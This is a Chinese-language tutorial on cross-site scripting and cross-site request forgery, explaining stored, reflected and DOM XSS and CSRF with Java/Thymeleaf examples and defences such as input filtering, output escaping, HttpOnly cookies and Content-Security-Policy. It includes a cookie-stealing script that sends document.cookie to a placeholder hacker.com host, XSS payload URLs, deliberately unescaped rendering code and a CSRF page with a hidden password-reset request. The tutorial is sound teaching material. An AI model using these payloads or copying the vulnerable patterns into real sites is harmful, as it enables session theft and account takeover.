跨站脚本攻击(XSS)
XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS。
攻击原理:
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS攻击按类型可以分为三种:
- 存储型XSS
- 反射型XSS
- DOM型XSS
1.1 存储型XSS
存储型XSS,顾名思义就是攻击者上传的恶意脚本的数据被保存到数据库中,当页面渲染的时候如果执行到这段脚本,网站就会被攻击。
这种攻击常见于支持用户保存数据的网站,如论坛发帖、商品评论、用户私信、留言等功能。
简单示例1:
一个网站留言栏黑客输入了如下内容
<script>alert('hello');</script>
如果网站没做处理,那么所有用户打开这个网站的留言栏都会弹出hello的一个框,严重影响了用户体验,甚至还可以窃取cookie。
简单示例2:
窃取用户cookie后发送到黑客。直接发送,可能会因为跨域而失败,可以通过图片标签的方式绕过:
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +
escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);
})();
上面的http://www.hacker.com/h是一个controller,可以接收请求并将参数保存。
1.2 反射型XSS
反射型XSS,又称非持久型XSS,也已代码没有被保存到目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。
示例:网站有一个功能的实现是将链接上参数的内容展示在网页上。
后端代码:
@RequestMapping("/reflectxss")
public String reflectxss(String content, ModelMap modelMap){
modelMap.addAttribute("result",content);
return "reflectxss";
}
前端代码:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<span th:utext="${result}"></span>
</body>
</html>
如果用户参数里是一个正常的数据还好,如果是黑客输入一个js脚本获取cookie
http://localhost:8080/reflectxss?content=<script>alert(document.cookie)</script>
构建DOM
http://localhost:8080/reflectxss?content=<input type="button" value="登录"/>
1.3 DOM型XSS
DOM型XSS其实就是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,不需要与服务端进行交互。
示例代码:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>domxss</title>
</head>
<body>
<title>测试</title>
<div id="mystr"></div>
<script type="text/javascript">
function getQueryString(name) {
var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
var r=window.location.search.substr(1).match(reg);
if(r!=null){
return decodeURI(r[2]);
}else {
return null;
}
}
document.getElementById("mystr").innerHTML=(getQueryString("domxss"));
</script>
</body>
</html>
它会将链接中的参数取出来,然后用innerHtml的方式渲染。
- 注入js脚本,未成功
http://localhost:8080/domxss.html?domxss=<script>alert('abc')</script>
使用innerHtml获得的JS代码是不会被执行的,JS只有在页面初次加载的时候才有效
2. 构造DOM
- 利用img标签
img标签的src填一个不存在的图片,onerror里的脚本会被执行。
1.4 攻击原理及危害分析
基本实现原理:
- 通过img标签的src发送数据
- 构造表单诱导用户输入账号密码
- 构造隐藏的form表单自动提交
- 页面强制跳转
- 植入文字链接、图片链接
- 构造iframe
- 构造其他HTML标签
潜在危害:
- 获取其他用户的Cookie,冒充身份登录
- 构造表单诱导用户输入账号密码,盗取账密
- 跳转到其他网站,窃取流量
- 植入广告、外链
- 通过隐藏友链提升网站百度权重
1.5 XSS漏洞预防
- 对用户的输入进行验证
包括前端页面和后端,都需要对用户输入进行验证和限制,包括输入长度验证、特殊字符限制。可以使用apache commons text、使用owasp AntiSamy等框架进行字符校验
使用owasp AntiSamy:
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.8</version>
</dependency>
public class XSSEncode {
static Policy policy;
static {
String path = XSSEncode.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();
if(path.startsWith("file")){
path=path.substring(6);
}
try {
policy = Policy.getInstance(path);
} catch (PolicyException e) {
e.printStackTrace();
}
}
public static String xssEncode(String value) throws PolicyException, ScanException {
AntiSamy antiSamy=new AntiSamy();
CleanResults results = antiSamy.scan(value, policy);
//返回安全性的html
return results.getCleanHTML();
}
public static void main(String[] args) throws ScanException, PolicyException {
String s = xssEncode("<script>alert22</script>afdsf");
System.out.println(s);
}
}
使用 apache commons-text
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.5</version>
</dependency>
import org.apache.commons.text.StringEscapeUtils;
import org.owasp.validator.html.*;
public class XSSEncode2 {
public static String xssEncode(String value){
// StringEscapeUtils.escapeJson(value);
// StringEscapeUtils.escapeEcmaScript(value);
return StringEscapeUtils.escapeHtml4(value);
}
}
- Cookie防护
将cookie设置为httponly
resp.setHeader("SET-COOKIE","JSESSIONID="+request.getSession().getId()+ "; HttpOnly")
- 设置frame、iframe限制
iframe可以配置三个策略:
- DENY 不允许
- SAMEORIGIN 可在相同域名页面的iframe中展示
- ALLOW-FROM uri 可在指定页的frame中展示
nginx中配置:
add_header X-Frame-Options SAMEORIGIN;
filter中配置:
resp.setHeader("x-frame-options","SAMEORIGIN");
- 输出时转义
thymeleaf:
<!--非转义输出,原样输出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--转义输出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>
JSP:
<!--默认true,进行转义-->
<c:out value=" ${ content }" escapeXml="false" />
- dom型xss避免
避免使用innerHtml、outerHTML、document.write(),应使用textContent、setAttribute;尤其注意onclick、onerror、onload、onmouseover、eval()、setTimeout()、setInterval()
6. 富文本处理
做富文本的展示需求时,应特别注意,事件应该被严格禁止,因为富文本的需求里不应该包括事件这种动态效果。富文本过滤中,处理CSS是一件比较麻烦的事情,如果允许用户自定义CSS、则也可能导致XSS攻击。比如尽可能的禁止用户自定义CSS。
有些开源项目实现了对富文本的XSS检查,Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。
1.6 内容安全策略防护
内容安全策略(CSP :Content-Security-Policy)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击。
CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体
CSP的分类:
- Content-Security-Policy 配置好后,不符合的内容资源会被阻止加载
- Content-Security-Policy-Report-Only 仅仅记录违反限制的行为
配置的地方:
- 可以在http header上
- 可以在HTML上
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only"
content="策略">
配置语法:
示例:
- 限制所有外部资源,都只能从当前域名加载,不包含子域名‘
Content-Security-Policy: default-src 'self'
- 限制所有的外部资源,都只能从当前域名及其*.lagou.com域名加载
Content-Security-Policy: default-src 'self' *.lagou.com
- 图片可以从任意地方加载,视频只能从media1.com和media2.com加载,js只能从scripts.lagou.com加载
Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.lagou.com
- 仅允许从https://onlinebanking.abc.com网站访问
Content-Security-Policy: default-src https://onlinebanking.abc.com
- 启用违例报告
Content-Security-Policy: default-src 'self'; report-uri
http://reportcollector.example.com/collector.cgi
1.7 XSS漏洞扫描工具
常见的扫描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,
Arachni,Acunetix等
跨站请求伪造(CSRF)
CSRF攻击的全称是跨站请求伪造(cross site request forgery)。是一种对网站的恶意利用,听起来跟XSS有点相似,但事实上CSRF与XSS差别很大。CSRF是通过用户浏览器冒充用户身份向服务器发起伪造请求。
CSRF攻击原理:
- 用户打开浏览器,访问了受信任网站A,并且输入用户名密码登录了网站A
- 用户信息通过验证后,网站A产生了Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
- 用户未退出网站A之前,同一个浏览器中又打开一个TAB页访问了黑客的网站B
- 网站B收到用户请求后,返回一些攻击代码(调用网站A的接口)
- 浏览器接收到攻击代码后,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道请求其实是网站B发起的,所以执行了网站B的恶意代码。
示例:
你以为你访问黑客的网站只是看了个美女,其实它偷偷把你其他网站A的密码改了。因为你刚登陆了网站A,所以如果没有其他验证的话你的密码就被改了。
代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>美女图片</title>
</head>
<body>
<img src="images/801910ac238baefd3271af9d684691f1.jpeg" />
<img src="http://localhost:8080/resetPassword" />
</body>
</html>
攻击方式:
get请求:
<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"
style='display:none'></iframe>
post请求:
隐藏表单、自动提交,把功能通过iframe引入新页面
<iframe src="form.html" style='display:none'></iframe>
CSRF安全防护
- referer校验
校验referer是否从本网站发起的
- 二次验证
比如加一些验证码,修改密码的时候需要输入原密码等等
- token验证
用户访问正常网站的时候服务器生成一个token,并且给到客户端。客户端每次请求都要带上,校验通过才行。而你访问黑客的网站的时候,他拿不到你的token所以不能请求成功。
CRSR扫描工具
CSRFTester是一款CSRF漏洞的测试工具,此工具的测试原理如下:它使用代理抓取浏览器中访问过的连接以及表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果被测试的请求成功被网站服务器接受,则说明存在CSRF漏洞,否则不存在。此款工具也可以被用来进行CSRF攻击